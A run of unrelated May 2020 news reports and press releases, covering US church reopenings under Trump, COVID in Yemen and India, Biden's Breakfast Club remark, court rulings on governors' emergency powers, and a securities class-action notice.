People walk through the church before a press conference with the Archbishop of New York, Cardinal Timothy Dolan, at Our Saviour Parish in Manhattan regarding the reopening of churches in the archdiocese amid the coronavirus pandemic on May 21, 2020 in New York City

The Rev. Jorge Gomez walks to the altar before conducting morning Mass with no worshippers present at the Basilica Of Our Lady of San Juan del Valle on Saturday, March 21, 2020, in San Juan, Texas. The Mass was broadcast on the church's Facebook page. The Diocese of Brownsville announced the the public will not be allowed in the church to stop the spread of the coronavirus

Trump said governors who sought waivers would not get them

Trump walked off without taking questions after making a statement Friday

Houses of worship across the country closed as states banned gathering of more than ten, and remained show even as an Easter reopening Trump once touted came and went.

There were early clusters of coronavirus in some churches, including one in the Washington, D.C. area, as well as at funerals and other services. Some affected dozens of people as worshippers embraced each other, took holy sacrament, or sang in choirs or engaged in other communal activites.

Churches who meet threshold of employees have been able to get government small business assistance to keep paid staff on the payroll.

White House press secretary Kayleigh McEnany attacked journalists who questioned the proposal and wanted to know on what basis Trump was exerting federal power over governors' orders.

'Boy it's interesting to be in a room that desperately wants to see these churches and houses of worship stay closed,' she snapped.

That prompted Reuters' Jeff Mason to interject: 'I object to that. I go to church. I'm dying to go back to church. The question that we're asking you and would like to have asked the president and Dr. [Deborah] Birx is, is it safe? And if it's no safe, is the president trying to encourage or does the president agree with Dr. Birx that people should wait?'

'Jeff, it is safe to reopen your churches and you do so in accordance with the guidelines,' McEnany responded.

She wouldn't respond when pressed to cite Trump's authority to override governor's stay-home orders. Trump 'wants to see all these churches open,' she said.

Trump forecast the announcement in Michigan Thursday where he was photographed in a mask for the first time

NYPD giving order to evacuate and close the synagogue because the Hasidic Jewish community is not respecting socio-distance. Trump also mentioned mosques and synagogues

The push comes as Trump has seen a drop in public approval. Hours before he announced the policy, he bashed Fox News for its polls, after one had him losing to Joe Biden by eight points nationally.

Other polling has shown a drop in support for Trump among white Evangelicals, a traditional base of support, white mainline Protestants, and white Catholics.

A source close to the campaign told pointed Politico to a Public Religion Research Institute survey that had Trump's favorability down by double-digits among all three groups.

Trump mentioned three different faith and triumphed in the decision, which accords with new Centers for Disease Control guidelines.

'Many millions of Americans embrace worship as an essential part of life. The ministers, pastors, rabbis, imams and other faith leaders will make sure that their congregations are safe as they gather and pray,' Trump said.

'I know them well. They love their congregations. They love their people they don't want anything bad happened to them or to anybody else,' he added.

'The governor's need to do the right thing and allow these very important essential places of faith to open right now for this weekend. If they don't do it, I will override the governors in America,' he said, although he did not state what authority he would use.

'We need more prayer not less,' he said, before abruptly leaving a press conference that other officials carried on. Trump did not answer questions about whether he would attend church. He attended an Easter service with an evangelical minster remotely.

The CDC had prepared guidance for churches and other institutions on reopening, but the release got delayed.

'I said, 'You better put it out.' And they're doing it,' Trump said Thursday in Michigan. 'And they're going to be issuing something today or tomorrow on churches. We've got to get our churches open.'

A church in Northern California that defied the governor's orders and held a service on Mother's Day was attended by a person who later tested positive for the coronavirus, exposing more than 180 churchgoers.

Dr. Deborah Birx, the coordinator for the White House's coronavirus task force, said that faith community leaders should be in touch with their local health departments and can take steps to mitigate risks, including making sure those who are at high risk of severe complications remain protected.

'There's a way for us to work together to have social distancing and safety for people so we decrease the amount of exposure that anyone would have to an asymptomatic,' she said.

White evangelical Christians have been among the most loyal members of the president's base, and the White House has been careful to attend to religious communities' concerns over the course of the crisis, including holding numerous conference calls with them.

A person familiar with the White House's thinking who spoke on condition of anonymity to discuss internal deliberations said Trump had called the news conference, which had not been on his public schedule, because he wanted to be the face of church reopenings, knowing how well it would play with his base.

Churches around the country have filed legal challenges to the virus closures. In Minnesota, after Democratic Gov. Tim Walz this week declined to lift restrictions on churches, Roman Catholic and some Lutheran leaders said they would defy his ban and resume worship services. They called the restrictions unconstitutional and unfair since restaurants, malls and bars were allowed limited reopening.

The CDC more than a month ago sent the Trump administration documents the agency had drafted outlining specific steps various kinds of organizations could follow as they work to reopen safely.

The administration first shelved the documents but eventually released guidance for six other types of organizations, but not houses of worship. A Trump administration official had said there had been concerns about the propriety of the government interfering with the operation of places of worship.

Roger Severino, director of the Office for Civil Rights at the Department of Health and Human Services, argued that 'protections against religious discrimination aren't suspended during an emergency.'

Two senior administration officials, speaking on condition of anonymity to discuss private deliberations, concerns about religious freedom had since been resolved.

Rhode Island Gov. Gina Raimondo immediately balked at Trump's pressure and said she would keep her state on a timetable to reopen public worship May 30.

We're not ready. Honestly, that would be reckless. It's Friday. They're not ready,' said Raimondo. So no, that's not happening in Rhode Island.'

Former New Jersey GOP Gov. Christie Todd Whitman tweeted in response: 'Would that I thought this had anything to do with the President's concern for the spiritual well being of Americans and not just satisfying his base.'
As China's "two sessions"(NPC and CPPCC) is approaching,China Military Onlinegets to foreign military cadets of International College of Defence Studies in National Defence University PLA China, to hear their voices on China's anti-epidemic efforts and the "two sessions".

Question: What do you think of Chinas efforts in the fighting against COVID-19 ?

Pakistan Brigadier General Farrukh Shahzad Rao: Only few nations had the ability to tackle this crisis with confidence and China is on the top of this list. Today China is a safer country. It is returning to normalcy, citizens are going back to normal life while the world looks on with amazement. Chinese should feel really proud of their country, leadership and themselves.

Mexican Navy Captain Fernando Gorraez Alejandre: China is now supporting other nations to combat COVID-19, and its actions show Chinese commitment to the international community to construct a community of shared future for mankind.

Pakistan Army Brigadier Umar A.Shah: The ongoing global health crisis warrants Whole of the Nation approach at domestic level aided with Globally Coordinated Response Mechanism. Instead of embroiling in useless blame game, it is incumbent upon all nations to rise to the occasion and meet this challenge with solidarity and closer cooperation.

QuestionIn your opinion, what is the greatest achievement China has made in the development of recent years?

Umar A.Shah: Chinas biggest achievement in national development has been its poverty alleviation programme. Year 2020 is set to be the timeline when China plans to eradicate poverty in the country and becomes a moderately prosperous society in all respects. If China achieves this goal, it would be 10 years ahead of the United Nations Sustainable Development Goal aiming to end global poverty by 2030. China's confidence in ending poverty on schedule owes to its strong leadership and people-centered development.

Mexican Navy Captain Fernando Gorraez Alejandre: While China establishes a liberal vision based on its ancestral philosophy called Tianxia where interests are shared and participation is voluntary

QuestionWhat do you think of the upcoming two sessions ?

Umar A.Shah: The two sessions have already been delayed for two months because of the COVID-19 pandemic. However, the current timing of the two sessions signals the staged triumph of the nationwide fight against the COVID-19 pandemic.

Farrukh Shahzad Rao: One of the most impressive aspects about Chinese governance is its strategic culture. It is based on the collective wisdom of the nation. The NPC and CPPCC are two such fantastic forums which bring delegates from all over China to share their ideas and contribute in national decision making process.

Fernando Gorraez Alejandre: China's two sessions will confirm its commitment to improving the global governance system with a liberal vision and multilateral actions that allow all developed or developing nations to live together equitably with a win-win vision, in order to build a community of shared future for mankind.
Archbishop Hinder confirms that the medical emergency linked to the new coronavirus is getting worse. In Sana, Aden and other cities it has reached critical levels. MSF launches an appeal to the UN and donor countries. We need protection and support tools for health workers. High mortality rate, victims between 40 and 60 years old. 68 patients out of a total of 173 hospitalized.

Abu Dhabi (AsiaNews) - The health emergency linked to the Covid-19 pandemic in Yemen "is getting worse" in Aden as in the capital and other parts of the country, although "because of the war it is not easy to distinguish between the real extent of the situation and what is propaganda, says Msgr. Paul Hinder, apostolic vicar of southern Arabia (United Arab Emirates, Oman and Yemen).

The prelate reports that he "heard from people living in Sana'a about an escalation of the virus and a level of criticality" now reached in the facilities hospital.

From the vicarial office in Abu Dhabi, in the United Arab Emirates, where "we are still under a strong lockdown" and where "the restrictions will remain for some time", Msgr. Hinder looks with concern at what is happening in Yemen. Getting reliable news remains difficult, "because there is a tendency to keep the truth hidden from the rulers." The prelate explains that at the moment "there is no contact" with Aden while "I asked our communities in Sana'a to be very cautious and to follow personal protection measures and towards others".

The first case of Covid-19 dates back to April 10; the first two victims on the 30th of the month. In recent weeks, International humanitarian organisations have sounded the alarm about the disastrous repercussions of a COVID-19 epidemic in the Arab nation, torn by a war since 2015 pitting the Saudi-backed government against Iran-supported Houthi rebels.

The conflict has provoked the "worst humanitarian crisis in the world". An outbreak of the novel coronavirus would have even greater devastating consequences.

Doctors without Borders (MSF) engaged in the front line in the fight against the new coronavirus report that the pandemic in Aden triggered a "health catastrophe". In the Covid-19 city center alone, 68 patients out of a total of 173 patients died in three weeks (April 30-May 17). In the whole city there are an average of 80 deaths every day; before the arrival of the virus there were 10, with an escalation equal to the European cities in the most critical period.

This is why "urgent mobilization of the United Nations and donor countries is increasingly necessary". What we are witnessing, reports MSF coordinator in Yemen Caroline Seguin, is only "the tip of the iceberg. Patients come to us too late to be saved" and "many more people are not coming at all and are dying in their homes. It's a heartbreaking situation."

Many of the patients arrive in the few active hospitals already with severe acute respiratory syndromes, a factor that makes treatment even more difficult. In addition, the large number of health professionals who contracted the disease shows that the virus is now circulating widely. "Funds need to be found - continues Caroline Seguin - to pay operators and provide them with the necessary protective devices", while the country needs "more oxygen machines".

Aden was already collapsing after five years of war and cannot face this emergency alone, there is no money for personnel, personal protective equipment is scarce and there are very few tests. "The high mortality rate - concludes the MSF coordinator - that we see among our patients is equivalent to that of intensive care in Europe, but the people we see die are much younger than in Italy or France. Here are mostly men between the ages of 40 and 60 ".

"I have no difficulty - concludes Msgr. Hinder - in believing the alarm launched by Doctors Without Borders and the dramatic reports that are emerging. What they describe in Aden is true, because this city has lived in the most complete chaos for years".
Former Vice President Joe Biden participates in a Democratic presidential primary debate at CNN Studios in Washington on March 15, 2020. (Evan Vucci/AP Photo)

Biden: If You Pick Trump Over Me, Then You Aint Black

Biden made the remarks during an interview on "The Breakfast Club"

Presumptive Democratic presidential nominee Joe Biden said black people who support Republican President Donald Trump arent black during an interview on Friday.

The former Vice President was challenged on his voting record on racial issues and whether he was considering a black running mate.

Im not acknowledging anybody who is being considered, but I guarantee you, there are multiple black women being considered. Multiple, Biden responded.

After an aide tried to cut off the interview, host Charlamagne tha God responded: You cant do that to black media!

Biden said he needed to go because his wife had a media appearance. The host then asked Biden to return to the program later this year to answer more questions.

Youve got more questions? Biden replied. Well I tell you, if you have a problem figuring out whether youre for me or Trump, then you aint black.

It dont have nothing to do with Trump, it has to do with the fact I want something for my community, the host responded.

Bidens remark drew condemnation from Trumps campaign.

White liberal elitists have continuously dictated which Black Americans are allowed to come to the table and have a voice. It is clear now more than ever, following these racist and dehumanizing remarks, that Joe Biden believes Black men and women are incapable of being independent or free thinking, Katrina Pierson, a senior advisor to the campaign, said in a statement.

He truly believes that he, a 77-year-old white man, should dictate how Black people should behave. Biden has a history of racial condescension and today he once again proved what a growing number of Black Americans and I have always known: Joe Biden does not deserve our votes.

The Biden campaign didnt immediately return a request for comment.

Symone Sanders, a Biden adviser, said in a social media statement that his comments were in jest.

But lets be clear about what the VP was saying: he was making the distinction that he would put his record with the African American community up against Trumps any day. Period, he added.

Sen. Tim Scott (R-S.C.) said Friday that 1.3 million black Americans voted for Trump in 2016.

This morning, Joe Biden told every single one of us we aint black. Id say Im surprised, but its sadly par for the course for Democrats to take the black community for granted and brow beat those that dont agree, the black senator wrote in a statement.

Charlamagne said after the interview that We have been loyal to Democrats for a long time, black people have invested a lot into that party and the return on investment has not been great.

As Biden said in our brief interview when I asked him if Dems owe the black community ABSOLUTELY was his answer. So lets see what you got!!! Votes are Quid Pro Quo. You cant possibly want me to Fear Trump MORE than I want something for my people, he told Mediaite.

Democratic presidential candidate and former Vice President Joe Biden speaks during a campaign press conference in Burlington, Iowa, on Aug. 7, 2019. (Tom Brenner/Getty Images)

During the interview, Biden urged people to look at his record, including his support of the Voting Rights Act, and the repeated endorsements made by the National Association for the Advancement of Colored People.

Biden declined to say he regretted supporting as a senator the Violent Crime Control and Law Enforcement Act of 1994. Charlamagne asserted the bill was damaging to the black community.

Biden said Hillary Clinton, the Democrats 2016 presidential nominee, was wrong for saying she regretted her support for the legislation.

What happened was, it wasnt the crime bill. It was the drug legislation. It was the institution of mandatory minimums, he added, listing other factors he believes led to mass incarceration.

Biden said votes from the African American community have helped him get elected every single time before asking the host to give me a little break after concerns about Democrats taking black votes for granted were brought up.

He also said hes ahead in all of the polls as he made the case the COVID-19 pandemic isnt hurting him.

When Charlamagne noted that polls had Trump losing in 2016, Biden said this time around is totally different.

What you had then is you had somebody who didnt know it all, they wanted to just change the system the way it was, he said. He was the biggest change. He had no serious opposition that turned out to materialize. So its totally different.
The North Korean leader hasn't been seen in three weeks. He had already disappeared for 20 days between April and early May. Some reports had even given him up for dead. Kim may have left the capital for fear of contracting the coronavirus and to draw up a program of economic reforms.

Seoul (AsiaNews / Agencies) - Kim Jong-un has disappeared again. The North Korean leader has not appeared in public for three weeks, the South Korean government reveals today. He had already disappeared for 20 days between April and early May, triggering a host of rumors about his state of health. Some reports had even given him up for dead.

The strong man from Pyongyang reappeared on May 1 while taking part in the inauguration of a fertilizer factory in Sunchon, north of the capital. He had not been seen in public since April 11, when he chaired a high-level meeting of the Workers' Party, which has been governing North Korea since the end of World War II.

Seoul authorities are monitoring the situation, which they consider "unusual". Yoh Sang-key, a spokesman for the Unification Ministry, however, recalls that Kim was not seen in public for 21 days in January either. His longest absence dates back to 2014, when he disappeared for 40 days. At the time, South Korean intelligence said that Kim had undergone surgery to remove a cyst from an ankle.

According to several South Korean media, Kim is in Wonsan with his sister Kim Yo-jong, considered by some to be a possible candidate to lead the regime. They speculate that the Pyongyang leader has moved away from the capital for fear of contracting the coronavirus and draw up a program of economic reforms.

North Korea is one of the most insular nations, where the flow of news is very controlled. The health of its leader is treated as a matter of state security, given the fear of real or alleged coups.
A federal lawsuit seeking to overturn Gov. Ned Lamonts emergency pandemic order closing bars and restaurants has been rejected by U.S. District Judge Michael P. Shea.

The lawsuit, brought by Michael Amato and Joy Monsanto, owners of the 50s Lounge in New Havens Westville neighborhood, argued that state and city closure orders in response to the COVID-19 crisis were unconstitutional and would force them out of business.

Amato and Monsanto said in their lawsuit that, as a result of Lamonts order, our business will incur financial hardship to the point where we may need to furlough our employees without pay, terminate their employment for the foreseeable future, and ultimately close our doors for good.

In his ruling, Shea rejected the claims made in the lawsuit, citing prior rulings by the U.S. Supreme Court and another federal court upholding the states right to use extraordinary powers to protect the public health and safety in emergencies like a pandemic.

We are pleased that Judge Shea recognized the importance of the Governors authority to protect the public during a global pandemic, Attorney General William Tong said Thursday.

Norm Pattis, the lawyer for Amato and Monsanto, derided the judges reliance on what Pattis said were outdated precedents.

The ruling relies heavily on the sole U.S. Supreme Court case to come close to the issue, decided before World War I, Pattis said in an email Thursday. By that anachronistic standard prohibition is legal, women cant vote and discrimination is accepted social custom. Judge Sheas decision is the equivalent of driving a horse and buggy down the interstate and should offend any sane person trying to navigate the highways today.

A spokesman for Gov. Lamont declined to comment on the decision.

The 50s Lounge case isnt the only lawsuit challenging Lamonts executive order restrictions during the pandemic.

Bruce Miller, a Westport resident, has also filed suit in U.S. District Court in New Haven claiming the governors order restricting public gatherings to a maximum of five people violates Millers constitutional rights. Miller is claiming that Lamont exceeded federal guidelines and exaggerated the risks of the COVID-19 pandemic.

The attorney general also rejected Millers claims.

Our state constitution and state laws grant the Governor broad authority to protect Connecticut residents and families in a public health emergency, and his executive orders have been very clearly constitutional and fully legally justified, Tong said in an emailed response to a request for comment on the lawsuit.
PITTSBURGH, May 22, 2020 /PRNewswire/ -- "I've been a wildlife biologist in Nevada for over 30 years and was tired of cleaning dust from my gear inside the camper shell," said an inventor, from Elko, Nev. "I thought there needed to be a way to keep the dust out, so I invented the CAMPER CLEAN."

The invention provides an effective way to prevent dust and dirt from entering a camper shell on dirt roads. In doing so, it ensures that the interior and contents remains clean and protected. As a result, it increases comfort and convenience and it can make camping more enjoyable. CAMPER CLEAN has a wide range of applications for people who need to keep tools and equipment dust-free. The invention features a user-friendly design that is easy to use so it is ideal for the owners of pickup trucks with camper shells. Additionally, it is producible in design variations and a prototype is available.

The inventor described the invention design. "My design offers a simple way to keep the interior of a camper shell dust-free on dirt roads."

The original design was submitted to the National sales office of InventHelp. It is currently available for licensing or sale to manufacturers or marketers. For more information, write Dept. 18-JMC-2239, InventHelp, 217 Ninth Street, Pittsburgh, PA 15222, or call (412) 288-1300 ext. 1368. Learn more about InventHelp's Invention Submission Services at http://www.InventHelp.com.

SOURCE InventHelp

Related Links

http://www.inventhelp.com


[May 22, 2020] Glancy Prongay & Murray LLP Announces the Filing of a Securities Class Action on Behalf of Ryder System, Inc. (R) Investors

Glancy Prongay & Murray LLP ("GPM"), a national investors rights law firm, announces that a class action lawsuit has been filed on behalf of investors who purchased Ryder System, Inc. ("Ryder" or the "Company") (NYSE: R) common stock between July 23, 2015 and February 13, 2020, inclusive (the "Class Period"). Ryder investors have until July 20, 2020 to file a lead plaintiff motion. If you suffered a loss on your Ryder investments or would like to inquire about potentially pursuing claims to recover your loss under the federal securities laws, you can submit your contact information here or contact Charles H. Linehan, of GPM at 310-201-9150, Toll-Free at 888-773-9224, via email [email protected] or visit our website at www.glancylaw.com/ to learn more about your rights. On October 29, 2019, the Company disclosed that "our residual valueestimates likely exceeded the expected future values that would be realized upon the sale of power vehicles in our fleet."



As a result, Ryder recorded $177 million in additional depreciation expense in connection with the significantly lower residual value estimates. On this news, Ryder's stock price fell $6.68, or more than 12%, over two consecutive trading sessions to close at $48.44 per share on October 30, 2019, on unusually heavy trading volume.

Then, on February 13, 2020, the Company reported that it had incurred a total of $357 million in additional depreciation expense for 2019 due to lower residual values of its fleet, as well as a loss of $58 million on the sale of used vehicles. For fiscal 2020, Ryder expected to incur an additional $275 million in depreciation expense and an additional $20 million estimated loss on used vehicle sales. On this news, the Company's share price fell $10.07 per share, or 20%, over two consecutive trading sessions to close at $40.12 per share on February 14, 2020, thereby injuring investors. The complaint alleges that throughout the Class Period, defendants made false and/or misleading statements and/or failed to disclose: (1) that the Company's financial results were inflated as a result of the Company's practice of overstating the residual values of the vehicles in its fleet because there was no reasonable basis to believe that the Company would sell its used vehicles for the amounts that it had assigned to them; and (2) that, as a result, the Company's residual values for its fleet of vehicles exceeded the expected future values that would be realized upon the sale of those vehicles by such a degree that the Company ultimately took a $357 million depreciation charge in 2019 related to Ryder's reduction of its residual values to align them with the amounts for which they could realistically be sold. Follow us for updates on LinkedIn, Twitter, or Facebook. If you purchased Ryder common stock during the Class Period, you may move the Court no later than July 20, 2020 to ask the Court to appoint you as lead plaintiff. To be a member of the Class you need not take any action at this time; you may retain counsel of your choice or take no action and remain an absent member of the Class. If you wish to learn more about this action, or if you have any questions concerning this announcement or your rights or interests with respect to these matters, please contact Charles Linehan, Esquire, of GPM, 1925 Century Park East, Suite 2100, Los Angeles California 90067 at 310-201-9150, Toll-Free at 888-773-9224, by email to [email protected], or visit our website at www.glancylaw.com. If you inquire by email please include your mailing address, telephone number and number of shares purchased. This press release may be considered Attorney Advertising in some jurisdictions under the applicable law and ethical rules. View source version on businesswire.com: https://www.businesswire.com/news/home/20200522005030/en/

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BAKU, Azerbaijan, May 22

By Ilkin Seyfaddini - Trend:

Turkish authorities have supplied 50 medical ventilators to Uzbekistan as humanitarian aid on May 21, 2020, Trend reports citing the Ministry of Foreign Affairs of Uzbekistan.

"A humanitarian cargo provided by the Turkish government to Uzbekistan arrived May 21 by charter flight Uzbekistan Airways, from Istanbul to Tashkent," the message said.

The ventilators have been developed by four major companies in Turkey - Arcelik, ASELSAN, Baykar Makine and Biosys.

The first case of coronavirus infection in Uzbekistan was detected on March 15 in the laboratory of the Research Institute of Virology; it was an Uzbek woman who returned from France. The Ministry of Health later announced that her son, daughter, husband and grandson also tested coronavirus-positive.

The outbreak in the Chinese city of Wuhan - which is an international transport hub - began at a fish market in late December 2019.

The World Health Organization (WHO) on March 11 declared COVID-19 a pandemic. Some sources claim the coronavirus outbreak started as early as November 2019.

---

Follow author on Twitter: @seyfaddini
Gov. Gretchen Whitmer has the authority to continue a state of emergency in Michigan without legislative approval, a Michigan Court of Claims judge has ruled.

Michigan Court of Claims Judge Cynthia Diane Stephens ruled in Whitmers favor in a lawsuit brought by legislative Republicans in an order released Thursday afternoon, calling arguments that Whitmer doesnt have the authority to extend a state of emergency if the legislature doesnt agree meritless.

Whitmer draws that authority from the Emergency Powers of the Governor Act, which doesnt set an end date on when a governor must seek an extension from the legislature, Stephens ruled.

Stephens wrote in the ruling the governor did overstep her authority when issuing another state of emergency under the Emergency Management Act of 1976 without legislative approval, which gives the governor a 28-day window before legislative approval is required.

Whitmers attorneys had argued the legislature lacked standing to challenge the governors authority, but the court determined the legislature did have standing to pursue the case.

In a statement, Whitmers office said the ruling recognizes that the Governors actions to save lives are lawful and her orders remain in place.

She will continue to do what shes always done: take careful, decisive actions to protect Michiganders from this unprecedented, global pandemic, the statement reads.

We owe it to our front line heroes who have been putting their lives on the line to pull together as a state and work as one team to stop the spread of this virus.

The Republican-led legislature has argued Whitmers decision to issue a trio of executive orders putting Michigan in a state of emergency due to the COVID-19 pandemic through May 28 was unconstitutional, as the legislature declined to issue an extension of the initial state of emergency past April 30.

Gideon DAssandro, spokesperson for House Speaker Lee Chatfield, R-Levering, said in a statement the speaker is continuing to review the ruling, but he expects to continue standing up for the rule of law.

Although it kept the Governors emergency orders in place, the Court of Claims agreed with the Legislature that the Governor broke the law in unilaterally declaring a state of emergency without legislative consent, he said.

Senate Majority Leader Mike Shirkey, R-Clark Lake, said the legislature remains confident in their position and will appeal.

While we are disappointed by aspects of this determination, we are vindicated in our assertion that the Governor acted unlawfully in attempting to extend the states of emergency and disaster under the Emergency Management Act without legislative approval," he said in a statement.

Michigan has two laws on the books related to the governors emergency powers. The 1945 Emergency Powers of Governor Act allows governors to call for a state of emergency for as long as necessary, while the 1976 Emergency Management Act includes a 28-day window for the governor to unilaterally declare an emergency without legislative approval. The 1976 law did not invalidate the prior law.

Stephens concluded there is no conflict between the two laws, although they address similar issues. She also pointed out the 1976 law explicitly references the 1945 law and states it does not supersede the first.

Both statutes allow the governor to declare a state of emergency, but the Emergency Management Act equips the Governor with more sophisticated tools and options at her disposal, Stephens wrote.

Stephens, from a socially distant remote location with a digital courtroom superimposed behind her, listened to arguments from attorneys for Whitmer and the Republican-led Legislature over a YouTube live stream last week.

A recording of the hearing is available here.

COVID-19 PREVENTION TIPS

In addition to washing hands regularly and not touching your face, officials recommend practicing social distancing, assuming anyone may be carrying the virus.

Health officials say you should be staying at least 6 feet away from others and working from home, if possible.

Use disinfecting wipes or disinfecting spray cleaners on frequently-touched surfaces in your home (door handles, faucets, countertops) and carry hand sanitizer with you when you go into places like stores.

Michigan Gov. Gretchen Whitmer has also issued an executive order requiring people to wear face coverings over their mouth and nose while inside enclosed, public spaces.

Read all of MLives coverage on the coronavirus at mlive.com/coronavirus.

Additional information is available at Michigan.gov/Coronavirus and CDC.gov/Coronavirus.

Related stories:

Judge to determine if Michigans extended coronavirus state of emergency is legal

Whitmer administration calls Republican lawsuit challenging emergency authority a power grab

5 reasons Michigan lawmakers are suing Gov. Gretchen Whitmer

Protesters condemn stay-home order

Michigans mask mandate highlights political fault lines in coronavirus crisis
When the minister of civil aviation tweeted resumption of air services from May 25, everyone was taken in by surprise. The industry had hardly recovered from the shock of lack of sops for airlines and airports. With the extension of lockdown till end of May and inclusive of domestic and international air travel, airlines had little to look forward to for the remainder of the month.

Things moved at breakneck speed post the tweet so much so that Spicejet even opened reservations for flights, only to close it little later. The guidelines took time to come out and were in place, finally, at the end of the day. This included guidelines for airports, airlines, travelling passengers with the surprise element being a cap on passenger fares. Surprisingly, while many airlines across the world have started with empty middle seats as the norm, India is not going ahead with the same, enabling airlines to sell all available seats, albeit with a price cap.

India is probably the only country which mandated airlines to declare the bucket wise fare. A decade-old regulation mandates airlines to publish on their website the various buckets and the airfare in each of them for every sector that the airline operates and now we have taken it a step higher with a cap on fares at both ends.

If flights are allowed, why does it take so long to start selling them?

The government allowed only one-third of the flights which were approved for the summer schedule. The summer schedule begins from the last Sunday of March and lasts until the last Saturday of October. This year, airlines were already grounded when the summer schedule was to start.

COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine  one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show

The airlines are not activating all their aircraft to start flying. This means that the airlines need time to decide how many planes are needed to ensure that they can manage the operations with optimum staff and cost.

While the summer schedule was approved with the standard turnaround times in mind in the pre-COVID era, the new scenario warrants that airlines will have to increase the turnaround times from the earlier ambitious ones like 25 or 30 minutes. This means that airlines have to reach out to the airports to ask for slots as per revised ground times. While earlier an aircraft landed at 1030 and the same took off for its next flight at 1100, now it may take off at 1130 or later. This situation puts pressure on the airports, since the airports have limited bays and each aircraft will now occupy those bays for a longer duration than before.

Are the airports ready?

With over 650 aircraft grounded and not all of them taking back to the air starting May 25, there also will be a shortage of bays at the airports since the aircraft which continue to be parked will occupy considerable space leaving little for regular operations.

While the congestion would continue at the air side, the terminal will have its own challenges  from check-in to boarding with every effort to maintain social distancing. Not only is it a challenge for airport operators, it also requires the attention of the airline whose staff would manage the counters.

Both airlines and airports need time to engage with third-party service providers like ground handling agencies  who handle flights for airlines at certain airports in the country and for all airlines to check if any of their staff resides in containment zones and subsequently reach a count of how many people are needed to handle a flight and how many can actually make it? Larger cities like Mumbai and Delhi have staff staying across the city and without public transport will find it hard to reach the airport for work.

Cant the airlines start selling and then adjust timings?

Yes, that could have been a possibility. But airline revenue management and distribution systems work on the basis of RBD or Reservation Booking Designator or booking class in layman terms. The revenue management teams work with systems which help with algorithms and number crunching to come up with fares for each class and how many seats are to be sold in that fare class. This system helps the airlines maximise revenue based on demand.

Until now the systems worked on the basis of past data, manual inputs and demand pattern. However, the government has now capped the lower and higher fares based on the flying time between the cities. Along with this, the government has also mandated that 40 percent of the seats should be sold at a fare which is less than the midpoint of the fare band.

This means, redrawing the RBD, pushing the new fares in the system and then making it available across distribution channels which include the airline website, OTAs, travel agencies amongst others. While this requires considerable effort, the current situation where everybody works from home makes it a tad bit harder and time consuming.

Could this have been done better?

Definitely yes, but in the end we have a history of pulling off everything. While it would have been better to give more days to plan for airlines, airports, states and cities to ensure that there is public transport available amongst others, we will pat ourselves on the back to start a countrywide operation with limited lead time.

The next few days will see stranded folks rush to book tickets, even as many await the refund of their money from airlines with a case pending in the Supreme Court. Will this help airlines? Not in the true sense, the one-third operations only rule with fare cap remains in place till August but then even the grounding was till the end of May and we are starting earlier so one never knows when things will change!

Ameya Joshi runs the aviation analysis website Network Thoughts.
Sixteen people with recent travel history tested positive for COVID-19 in Himachal Pradesh on Friday, taking the total number of cases in the state to 169, officials said here.

While 14 fresh cases were reported from Hamirpur district, two were from Kangra district, they said.

The number of active cases in the state now stands at 106.

Hamirpur has the maximum number of active cases at 55; Kangra 30; Solan and Bilaspur five each; Mandi four; Sirmaur, Una and Chamba two each; and Kullu one, the officials said.

Four COVID-19 patients were also discharged in Kangra during the day, taking the total number of those who have recovered to 59, they said.

Hamirpur Deputy Commissioner Harikesh Meena said all 14 people, including three women and as many girls, who tested positive for COVID-19 in the district had recently returned from Mumbai. A majority of them had been under institutional quarantine at different places.

They are being admitted to various COVID centres of the district for treatment and isolation, he added.

The fresh cases include a 44-year-old woman from Kungan village and her three teenage daughters (aged between 11 and 17). They had returned from Mumbai on May 14, Meena added.

A 55-year-old taxi driver and his 23-year-old son from Har village have also tested positive for coronavirus. They had returned from Mumbai on May 17.

A 78-year-old man, his 41-year-old daughter-in-law and 21-year-old grandson are also among the fresh cases.

A 26-year-old man from Jamnoti village of Nadaun area, who works in the film industry, has also tested positive for the infection.

A 29-year-old man from Pahloo village has also tested positive. He returned from Mumbai with his pregnant wife. He was kept under home quarantine.

Also among the fresh cases are a 31-year-old woman from Daswin village, a 19-year-old boy from Sukrial village and a 41-year-old man from Baroti village.

In Kangra, two men from Kauna village in Thural tehsil and Bharmad village in Jawali tehsil, respectively, tested positive for COVID-19, Superintendent of Police Vimukt Ranjan said.

The man from Kauna village had recently returned from Mumbai and the one from Bharmad village had returned from Delhi. They were in institutional quarantine, he said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Veteran Punjabi star Satish Kaul, who has acted in several Hindi films and shows including Mahabharat, says hes currently facing financial woes and the nation-wide lockdown has only made the situation worse for him. The actor, whose credits include working in over 300 Punjabi and Hindi films and played the role of Lord Indra in Mahabharat, said contrary to rumours, hes not in an old age home.

Im staying in a small rented place in Ludhiana. I was staying in an old age home earlier but then Im here at this place with my good samaritan Satya Devi. My health is ok, Im doing fine but the lockdown has made matters worse. Im struggling for medicines, groceries and basic needs. I appeal to the industry people to help me. I got so much love as an actor, I need some attention now as a human in need, Kaul told PTI.

The 73-year-old actor had also worked in films like Pyaar Toh Hona He Tha, Aunty No 1 and show Vikram Aur Betaal.

Also read: Anushka Sharma gets legal notice over casteist slur in Amazons Paatal Lok

Kaul had moved to Punjab from Mumbai and had started an acting school around 2011. The actor said that project wasnt a success. It came to a halt and whatever work I was doing later was affected after I fractured my hip bone in 2015. For two and a half years, I was bed-ridden in the hospital. Then I had to check in to an old age home where I stayed for two years.

